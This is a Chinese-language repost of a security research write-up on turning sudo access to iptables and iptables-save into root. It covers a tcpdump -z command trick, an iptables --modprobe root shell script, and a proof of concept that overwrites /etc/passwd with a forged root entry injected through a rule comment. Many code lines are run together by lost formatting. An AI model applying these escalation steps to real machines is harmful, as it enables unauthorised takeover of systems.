Shielder - 从 codesudo iptablescode 到本地权限提升的旅程

admin 2025年1月14日22:22:26评论14 views字数 8379阅读27分55秒阅读模式

【翻译】Shielder - A Journey From codesudo iptablescode To Local Privilege Escalation 

简要总结

在 Linux 机器上,低权限用户可以获得 root 权限,如果:

  • 他们可以使用 sudo 执行 iptables 和 iptables-save,因为他们可以在 iptables 规则的注释中注入一个伪造的 /etc/passwd 条目,然后滥用 iptables-save 来覆盖合法的 /etc/passwd 文件。
  • 他们可以使用 sudo 执行 iptables,并且底层系统缺少 iptables 加载的某个内核模块。在这种情况下,他们可以使用 --modprobe 参数运行任意命令。

简介

如果你曾经玩过 boot2root CTF(比如 Hack The Box)、做过渗透测试,或者只是违法入侵随机机器 (不,不要这样做),你很可能会发现自己在 Linux 机器上获得了一个低权限 shell - www-data,我说的就是你。

现在,虽然获得 shell 很棒,我们都应该感恩它的降临,但低权限用户通常对系统的控制权有限。前方的道路很明确:我们需要将权限提升到 root

在权限提升的道路上,黑客有很多技巧可以使用;其中之一就是使用 sudo

superuser do...substitute user do...就叫我 sudo 吧

正如读者可能已经很清楚的那样,sudo 命令可以用来以另一个用户的权限运行命令 - 通常是 root

好吧,但这有什么意义呢?如果你已经可以 sudo <command>,权限提升不就完成了吗!

嗯,是的,但实际上,不是。事实上,有两种情况 (至少,现在能想到两种) 我们无法简单地利用 sudo 运行任意命令:

  1. 运行 sudo 需要用户的密码,即使我们有 shell,我们也不知道密码。这种情况很常见,因为初始访问系统通常是通过漏洞利用而不是常规身份验证。
  2. 我们可能知道 sudo 的密码,但用户可以用 sudo 运行的命令是受限的。

在第一种情况下,只有一种方法可以利用 sudo 进行权限提升,那就是 NOPASSWD 命令。这些是用户可以使用 sudo 运行的命令,无需密码提示。引用 man sudoers:

NOPASSWD 和 PASSWD

默认情况下,sudo 要求用户在运行命令前进行身份验证。这种行为可以通过 NOPASSWD 标签修改。与 Runas_Spec 一样,NOPASSWD 标签为 Cmnd_Spec_List 中跟随的命令设置默认值。相反,PASSWD 标签可以用来反转这种情况。例如:

ray rushmore = NOPASSWD: /bin/kill, /bin/ls, /usr/bin/lprm 将允许用户 ray 在 rushmore 机器上以 root 身份运行 /bin/kill、/bin/ls 和 /usr/bin/lprm,而无需验证身份。

第二种情况有点不同:在这种情况下,即使我们知道密码,也只有有限的一部分命令 (可能还包括参数) 可以用 sudo 运行。同样,你可以通过查看 man sudoers、询问 ChatGPT 或通过实验破坏你的系统来了解其工作原理。

在这两种情况下,都有一个快速的方法来检查为你的用户启用了哪些"规则",那就是在你的 shell 上运行 sudo -l,这将帮助回答重要的问题:我能使用 SUDO 吗?

$ sudo run-privesc

现在,回到权限提升的话题。坏消息是,当 sudo 受限时,我们无法运行任意命令,因此需要一些额外的要素来获得完整的权限提升。怎么做呢?这就是好消息:我们可以利用允许命令的副作用。事实上,Linux 工具通常支持大量的标志和选项来自定义其流程。通过创造性地使用和链接这些选项,即使是一个简单的文本编辑器也可以用作获取任意执行的跳板!

对于一个简单的用例,让我们考虑众所周知的 tcpdump 命令,用于监听、过滤和显示系统中传输的网络数据包。管理员经常会授予低权限用户在机器上转储流量的能力以进行调试,所以当运行 sudo -l 时看到这样的条目是很常见的:

(ALLNOPASSWD/usr/bin/tcpdump

Little do they know about the power of UNIX utilities! In fact, tcpdump automagically supports log rotation, alongside a convenient -z flag to supply a postrotate-command that is executed after every rotation. Therefore, it is possible to leverage sudo coupled with tcpdump to execute arbitrary commands as root by running the following sequence of commands:

COMMAND='id' # just replace 'id'with your evil commandTF=$(mktemp)echo "$COMMAND" > $TFchmod +x $TFtcpdump -ln -i lo -/dev/null-1-1-z $TF

GTFOBins 的好心人维护着这些神奇技巧的精选列表 (包括刚才展示的关于 tcpdump 的技巧),所以请将它加入书签,并确保在你的 Linux 权限提升探索中查阅它!

起点 🚦

最近,在一次渗透测试中,我们正在寻找一种在基于 Linux 的设备上提升权限的方法。我们拥有的是一个权限非常低的用户 shell,以及使用 sudo 运行某些命令的能力。其中包括每个网络工程师都信赖的两个伙伴:iptables 和 iptables-save

我们理所当然地认为 GTFOBins 中肯定有这两个工具的条目...这促使我们再次更进一步™。

回忆往事

2017 年,我们与都灵理工大学JEToP 和 KPMG 合作组织了一场线下 CTF 比赛。

这场 CTF 基于一系列 boot2root 靶机,典型的入口点是一个基于 Web 的漏洞,随后是本地权限提升。我们创建的其中一个权限提升场景正是与 iptables 相关。

获取靶机 root 权限所需的技术已在CTF writeup中记录,并被用于获取 PAX 支付设备的 root 权限

通过 Modeprobe 获取 Root

iptables 有一个 --modprobe 参数,我们可以从其 man 手册页中看到其用途:

--modprobe=commandWhen adding or inserting rules into a chain, use command to load any necessary modules (targets, match extensions, etc).

听起来这是一个执行任意命令的有趣方法,不是吗?

通过检查 iptables 源代码,我们可以看到如果指定了 --modprobe 标志,那么会调用 int xtables_load_ko(const char *modprobe, bool quiet) 函数,其第一个参数是用户指定的 modprobe 命令。

作为第一步,xtables_load_ko 函数会检查所需的模块是否已经加载,如果没有加载,它会调用 int xtables_insmod(const char *modname, const char *modprobe, bool quiet) 函数,其第二个参数是用户指定的 modprobe 命令。

最后,xtables_insmod 函数使用 execv 系统调用来运行我们在 --modprobe 参数中指定的命令:

int xtables_insmod(constchar *modname, constchar *modprobe, bool quiet){char *buf = NULL;char *argv[4];int status;/* If they don't explicitly set it, read out of kernel */if (!modprobe) {  buf = get_modprobe();if (!buf)return-1;  modprobe = buf; }/*  * Need to flush the buffer, or the child may output it again  * when switching the program thru execv.  */ fflush(stdout);switch (vfork()) {case0:  argv[0] = (char *)modprobe;  argv[1] = (char *)modname;if (quiet) {   argv[2] = "-q";   argv[3] = NULL;  } else {   argv[2] = NULL;   argv[3] = NULL;  }  execv(argv[0], argv);/* not usually reached */  exit(1);case-1:  free(buf);return-1;default/* parent */  wait(&status); } free(buf);if (WIFEXITED(status) && WEXITSTATUS(status) == 0)return0;return-1;}

总的来说,如果我们能以 root 身份运行 iptables,那么我们就可以滥用它来执行任意系统命令,并通过以下脚本获得一个交互式的 root shell:

#!/bin/bashecho -e "/bin/bash -i" > run-mechmod +x run-mesudo iptables --t nat --modprobe=./run-me

EOF?

虽然这种技术非常强大,但它有一个重要的前提条件:iptables 尝试访问的内核模块不应该被加载。

(不) 幸的是,在大多数现代 Linux 发行版中,这些模块都已经加载了,这使得这种攻击方式难以实施。尽管如此,正如 Giulio 所展示的那样,这种技术在嵌入式设备上仍然非常有效。

那么我们的目标呢?它不太可能加载了所有的内核模块,所以这种技术无法应用。是时候寻找一个新的方法了 👀

フュージョン

是时候来一场元神合体之舞了!

Shielder - 从 codesudo iptablescode 到本地权限提升的旅程

实验环境

在深入研究权限提升步骤之前,让我们先搭建一个小型实验环境。

要测试这个,你可以在一台全新的 Ubuntu 24.04 LTS 机器上执行以下操作:

  1. 通过 apt-get 安装 iptables 软件包。
  2. 在 /etc/sudoers 文件中添加以下行:
userALL=(ALL) NOPASSWD: /usr/bin/iptablesuserALL=(ALL) NOPASSWD: /usr/bin/iptables-save
  1. 在同一个文件中,注释掉以下行:
%sudo ALL=(ALL:ALLALL

正如预期的那样,运行 sudo -l 将得到以下响应:

user@ubuntu:~sudo -lMatchingDefaults entries for user on ubuntu:    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin, use_ptyUser user may run the following commands on ubuntu:    (ALLNOPASSWD/usr/bin/iptables    (ALL) NOPASSWD: /usr/bin/iptables-save

因此,运行 sudo iptables 或 sudo iptables-save 都可以在不需要认证的情况下执行命令。

在下一节中,我们将看到攻击者如何在这个系统中将其权限提升到 root

邪恶的权限提升

本节将演示如何将 iptables 和 iptables-save 命令的核心功能和附加功能,再加上一些 Linux 的特性串联在一起,从而实现任意代码执行。

剧透一下,这个过程可以归纳为以下三个步骤:

  1. 利用 iptables 提供的注释功能,在规则中附加包含换行符的任意注释。
  2. 利用 iptables-save 将加载的规则内容 (包括注释负载) 转储到敏感文件中。
  3. 利用步骤 1 和步骤 2 来覆盖 /etc/passwd 文件,写入攻击者控制的 root 条目,并设置已知密码。

在接下来的章节中,我们将详细介绍这些步骤。

让我们先来看一个添加防火墙规则的简单 iptables 命令:

sudo iptables -AINPUT -i lo -j ACCEPT

这条规则的作用是在输入链中追加一条规则,用于接受所有输入接口为本地回环的入站数据包。我们可以立即通过运行 sudo iptables -L 来验证这条规则的效果。正如预期的那样,这个命令的输出包含了我们刚刚加载的 ACCEPT 规则。

通过查看 iptables 支持的有趣标志,我们发现了这个:

comment

允许你为任何规则添加注释 (最多 256 个字符)。–comment comment 示例:iptables -A INPUT -s 192.168.0.0/16 -m comment –comment "一个私有 IP 地址段"

让我们通过稍微修改之前的规则来测试一下:

sudo iptables -AINPUT -i lo -j ACCEPT -m comment --comment "Allow packets to localhost"

再次列出规则,我们可以看到注释的效果:

Chain INPUT (policy ACCEPT)target     prot opt source               destinationACCEPT     all  --  anywhere             anywhereACCEPT     all  --  anywhere             anywhere             /* Allow packets to localhost */Chain FORWARD (policy ACCEPT)target     prot opt source               destinationChain OUTPUT (policy ACCEPT)target     prot opt source               destination

iptables 还提供了一种简单的方法来转储所有已加载的规则,只需运行 iptables -S 命令:

-PINPUT ACCEPT-P FORWARD ACCEPT-P OUTPUT ACCEPT-AINPUT -i lo -j ACCEPT-AINPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT

我们能在多大程度上控制这个输出?让我们通过插入一个换行符来做个简单测试:

sudo iptables -A INPUT -i lo -j ACCEPT -m comment --comment$'Allow packets to localhostnThis rule rocks!'

注意

通过使用 $' 引号,我们可以指示 bash 将 n 字符替换为换行符!

现在,让我们再次转储已加载的规则来检查换行符是否被保留:

sudo iptables -S-P INPUTACCEPT-P FORWARDACCEPT-P OUTPUTACCEPT-A INPUT -i lo -j ACCEPT-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT-A INPUT -i lo -m comment --comment "Allow packets to localhostThis rule rocks!" -j ACCEPT

这确实很有趣 - 我们已经确认 iptables 会在注释中保留换行符,这意味着我们可以在 iptables 规则转储的输出中控制多行任意内容。

...你能猜到这个特性如何被利用吗?

步骤 2: 通过 iptables-save 实现任意文件覆写

在开始执行命令之前,让我们先 RTFM(阅读手册):

iptables-save 和 ip6tables-save 用于将 IP 或 IPv6 表的内容以易于解析的格式转储到标准输出 (STDOUT) 或指定的文件中。

如果这个手册页是正确的 (很可能是),只需运行不指定任何文件的 iptables-save,规则就会被转储到标准输出:

sudo iptables-save# Generated by iptables-save v1.8.10 (nf_tables) on Tue Aug 13 19:50:55 2024*filter:INPUT ACCEPT [936:2477095]:FORWARD ACCEPT [0:0]:OUTPUT ACCEPT [0:0]-A INPUT -i lo -j ACCEPT-A INPUT -i lo -m comment --comment "Allow packets to localhost" -j ACCEPT-A INPUT -i lo -m comment --comment "Allow packets to localhostThis rule rocks!" -j ACCEPTCOMMIT# Completed on Tue Aug 13 19:50:55 2024

看来 iptables-save 也保留了我们注入的换行符。既然我们知道了这一点,我们可以通过指定文件名并提供 -f 参数来测试其功能。输出显示我们正走在正确的道路上:

Shielder - 从 codesudo iptablescode 到本地权限提升的旅程

这个截图给了我们两个重要信息:

  1. 我们可以控制 iptables-save 写入文件的任意行。
  2. 由于这是以 sudo 运行的,生成的文件归 root 所有。

我们可以把这个武器指向哪里呢?让我们继续看下一节!

步骤 3:创建 Root 用户

回顾:通过在 iptables 中利用包含 n 的任意注释,并运行 iptables-save,我们可以以 root 身份写入任意文件,并且可以部分控制其内容 - 是的,只是部分控制,因为 iptables-save 会在我们注入的注释前后输出一些无法控制的数据。

这如何能派上用场呢?实际上,有一种方法可以将其转化为一个很好的权限提升漏洞,这要归功于著名的 /etc/passwd 文件。事实上,这个文件包含了每个可以登录系统的用户的条目,其中包括密码哈希和用户的 UID 等元数据。你能猜到这要怎么利用吗?

没错,我们要在 iptables 规则中写入一个完全有效的 passwd root 条目,然后通过 iptables-save 覆盖 /etc/passwd 文件。由于注入的行还将包含用户的密码哈希,一旦覆盖完成,我们应该可以简单地运行 su root 并输入注入的密码。

此时,我们只有一个疑问:其他行(非有效条目)会不会把系统搞坏?显然,只有一种方法可以找到答案。

概念验证

复现这个权限提升漏洞的步骤很简单:

  1. 通过运行 openssl passwd <password> 以正确格式加密新的 root 密码
  2. 获取 /etc/passwd 中的 root 条目并复制到某处,将加密密码的 x 值替换为步骤 1 中生成的值
  3. 在新的 iptables 规则注释中注入伪造的 root 条目
Shielder - 从 codesudo iptablescode 到本地权限提升的旅程
  1. 通过运行 sudo iptables-save -f /etc/passwd 覆盖 /etc/passwd
Shielder - 从 codesudo iptablescode 到本地权限提升的旅程
  1. 验证现在可以使用步骤 1 中选择的密码 su root
Shielder - 从 codesudo iptablescode 到本地权限提升的旅程

局限性和可能的改进

这种技术的主要局限性在于其较低的可能性:事实上,要执行权限提升,用户必须同时被授予 sudo 权限来执行 iptables 和 iptables-save 命令;虽然这在实际环境中确实会发生,但如果我们能让这种情况更有可能发生就更好了。这是可能的:iptables-save 实际上是 iptables 套件的一部分,因为后者支持基于 argv[0] 的别名机制来从完整套件中选择要运行的命令。因此,如果可以强制 iptables 充当 iptables-save,那么就不再需要 iptables-save 命令了。

此外,虽然在这种情况下覆盖 /etc/passwd 已经足够了,但你的想象力才是极限:Linux 系统中可能还有其他有趣的工具可以使用!主要来说,一个"好的"覆盖目标需要满足以下要求:

  • 必须按换行符分割"条目"。
  • 必须忽略无效的垃圾行。

原文始发于微信公众号(securitainment):Shielder - 从 codesudo iptablescode 到本地权限提升的旅程

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月14日22:22:26
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Shielder - 从 codesudo iptablescode 到本地权限提升的旅程https://cn-sec.com/archives/3627458.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息